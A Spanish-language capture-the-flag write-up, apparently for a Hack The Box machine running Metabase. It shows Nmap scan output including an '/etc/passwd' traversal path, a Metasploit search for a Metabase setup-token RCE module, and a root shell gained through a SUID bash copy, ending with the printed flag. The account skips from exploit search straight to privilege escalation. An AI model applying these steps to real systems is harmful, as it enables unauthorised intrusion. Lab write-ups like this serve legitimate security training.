Accedemos a la IP 10.10.11.233 a través del navegador. Está bloqueado, a si que añadimos el host a nuestro /etc/hosts:
sudonano/etc/hosts
Ahora ya se muestra la web en el navegador:
A primera vista parece una landing de servicios de analítica, con anclas a cada sección en el menú. Al hacer hover sobre el link de login nos indica que hay un subdominio data.analytical.htb que incluirimos en nuestro archivo de hosts.
En el código fuente escontramos este script en javascript:
var configuredRoot =document.head.querySelector("meta[name='base-href']").content;var actualRoot ="/";// Add trailing slashesvar backendPathname =document.head.querySelector("meta[name='uri']").content.replace(/\/*$/, "/"); // e.x. "/questions/" var frontendPathname = window.location.pathname.replace(/\/*$/, "/"); // e.x. "/metabase/questions/" if (backendPathname === frontendPathname.slice(-backendPathname.length)) { // Remove the backend pathname from the end of the frontend pathname actualRoot = frontendPathname.slice(0, -backendPathname.length) + "/"; // e.x. "/metabase/" } if (actualRoot !== configuredRoot) { console.warn("Warning: the Metabase site URL basename \"" + configuredRoot + "\" does not match the actual basename \"" + actualRoot + "\".");
console.warn("You probably want to update the Site URL setting to \"" + window.location.origin + actualRoot + "\"");
document.getElementsByTagName("base")[0].href = actualRoot; } window.MetabaseRoot = actualRoot;
Escaneo con Nmap
Web principal
sudonmap-v-sS-sV-sC--scriptvuln10.10.11.233
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| vulners:
| cpe:/a:openbsd:openssh:8.9p1:
| PRION:CVE-2023-28531 7.5 https://vulners.com/prion/PRION:CVE-2023-28531
| PRION:CVE-2021-28041 4.6 https://vulners.com/prion/PRION:CVE-2021-28041
|_ PRION:CVE-2019-16905 4.4 https://vulners.com/prion/PRION:CVE-2019-16905
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
A priori no encontramos nada interesante, solo los puertos 22 y 80 abiertos.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| vulners:
| cpe:/a:openbsd:openssh:8.9p1:
| PRION:CVE-2023-28531 7.5 https://vulners.com/prion/PRION:CVE-2023-28531
| PRION:CVE-2021-28041 4.6 https://vulners.com/prion/PRION:CVE-2021-28041
|_ PRION:CVE-2019-16905 4.4 https://vulners.com/prion/PRION:CVE-2019-16905
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-majordomo2-dir-traversal: ERROR: Script execution failed (use -d to debug)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-phpmyadmin-dir-traversal:
| VULNERABLE:
| phpMyAdmin grab_globals.lib.php subform Parameter Traversal Local File Inclusion
| State: UNKNOWN (unable to test)
| IDs: CVE:CVE-2005-3299
| PHP file inclusion vulnerability in grab_globals.lib.php in phpMyAdmin 2.6.4 and 2.6.4-pl1 allows remote attackers to include local files via the $__redirect parameter, possibly involving the subform array.
|
| Disclosure date: 2005-10-nil
| Extra information:
| ../../../../../etc/passwd :
|
| References:
| http://www.exploit-db.com/exploits/1244/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3299
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
En el subdominio data en el puerto 80 encontramos una posible vulnerabilidad Directory Traversal.
Fuzzing
Al fuzzear con gobuster o dirsearch no encontramos ningún directorio interesante. En la página About Us encontramos un link interesante a un repositorio de github sobre la versión utilizada en el editor de codigo:
Exploit
Buscando exploits para Metabase nos encontramos con este artículo:
En metasploit tambien hay un script que nos funciona:
msf6>searchmetabaseMatchingModules================# Name Disclosure Date Rank Check Description----------------------------------------0exploit/linux/http/metabase_setup_token_rce2023-07-22excellentYesMetabaseSetupTokenRCE
╔════════════════════════════════════╗
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════
╚════════════════════════════════════╝
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
-rwsr-xr-x 1 root metalytics 1.4M Nov 14 12:33 /var/tmp/bash
|------------|
Vamos a explotar esto tan fácil como ejecutar el comando /var/tmp/bash -p y ya seríamos root:
metalytics@analytics:~$ /var/tmp/bash -p
bash-5.1# whoami
root
bash-5.1# pwd
/home/metalytics
bash-5.1# cd ..
bash-5.1# cd ..
bash-5.1# ls
bin boot dev etc home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin srv sys tmp usr var
bash-5.1# cd root
bash-5.1# ls
root.txt
bash-5.1# cat root.txt
abbf2112116504ab3f8f5916d31e9974
